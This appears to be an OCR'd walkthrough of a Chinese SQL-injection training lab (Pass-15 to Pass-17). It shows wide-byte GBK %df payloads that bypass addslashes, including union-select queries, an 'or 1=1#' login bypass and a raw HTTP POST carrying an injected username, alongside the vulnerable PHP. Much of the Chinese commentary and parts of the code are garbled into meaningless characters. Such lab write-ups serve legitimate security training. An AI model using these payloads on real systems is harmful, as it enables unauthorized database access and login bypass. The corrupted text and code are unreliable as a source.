o WLLRIEaddslashesBE FHRANBAK — LB SHEM T MEREK, HTARLKRUrFBER%Sc, YdfY%S5ce B —
MR BT R BEAT BIR,

o FHAGBKHEERINFAN FRA— DB T, RATA LB 8N 5 74 Y 8 R AL R A Yd FE B — AN T X 5 H K 5] 5 3
A S B e ST ik B 28 1 ) BOR

Your Login name:admin
Your Password:admin

Copyright @ 2019 by /X,

urces MNetwork Performance Memory Application Lighthouse EditThisCookie HackBar

AL~ XSS~ LFI+ XXE~ Other~

lab.aglab.cn:81/Pass-15/index.php?id=1]

M Referer 1 UserAaent (1 Cookies Clear All

o HIN"%dfIBIR R



Copyright @ 2019 by EJX,

le Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar

+ SQL~ XSS~ LFl~ XXE~ Other~

nject2.lab.aglab.cn:81/Pass-15/index.php?id=1%df'

o MEHMFRKE. F&flaghf—E—#

http://inject2.lab.aqlab.cn:81/Pass-15/index.php?id=1%df"' union all select 1,2,3%23

MZREm#HETGETE S, F8FAid

Your Login name:2
Your Password:3

Copyright @ 2019 by £JX,

Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar

SQL~ XSS~ LFI~ XXE~ Other~

:ct2.1ab.aqlab.cn:81/Pass-15/index.php?id=1%df union all select 1,2,3%23

pass-16



$username ;

$password = ;

@$id = addslashes($_GET['id']);

@%sql = 'select *from user where id=("'.$id.'")";
mysqli_select_db($conn, "****');// FELIRNTHIE FE 4
mysqli_query($conn,"SET NAMES gbk");

$result = mysqli_query($conn,$sql);

while ($row = mysqli_fetch_array($result)){
$username = $row[ 'username’];

$password

}

echo 'Your Login name:'.$username;

$row[ 'password'];

echo 'Your Password:'.$password;

o MEBMXAAK, BEMT “)KFER

http://inject2.lab.aqglab.cn:81/Pass-16/index.php?id=1%df") union all select 1,2,3%23

pass-17

$username = addslashes($ POST['username']);

$password = addslashes($_POST[ 'password']);

$sql = 'select *from user where username =(\''.$username.'\') and password=(\''.$password.'\"')";
mysqli_select_db($conn, "***xxxty o // RAE YRR TS

mysqli_query($conn,"SET NAMES gbk");

$result = mysqli_query($conn,$sql);

$row = mysqli_fetch_array($result);

if($row){

echo "HINEZR';}

else{echo 'KSHILHEIR";}

o XBRAEE, HERERU —T, postttZH TRA U@L, HURFHEABRANSH, LB XANMFMA TFTRIEA
B — ANt R AT LR R

o Tkt

MALTHRKEEBRER

admini¥') or 1=1#




POST /Pass-17/index.php HTTP/1.1

Host: inject2.lab.aglab.cn:81

Content-Length: 82

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://inject2.lab.aqlab.cn:81

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.«
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avifimage/webp,image/apng,*/*;q=0.8,ap
Referer: http://inject2.lab.aglab.cn:81/Pass-17/index.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

username=3¥%27)*&password =&submit=%E7%99%BB%E5%BD%95

to prevent potential disruptions
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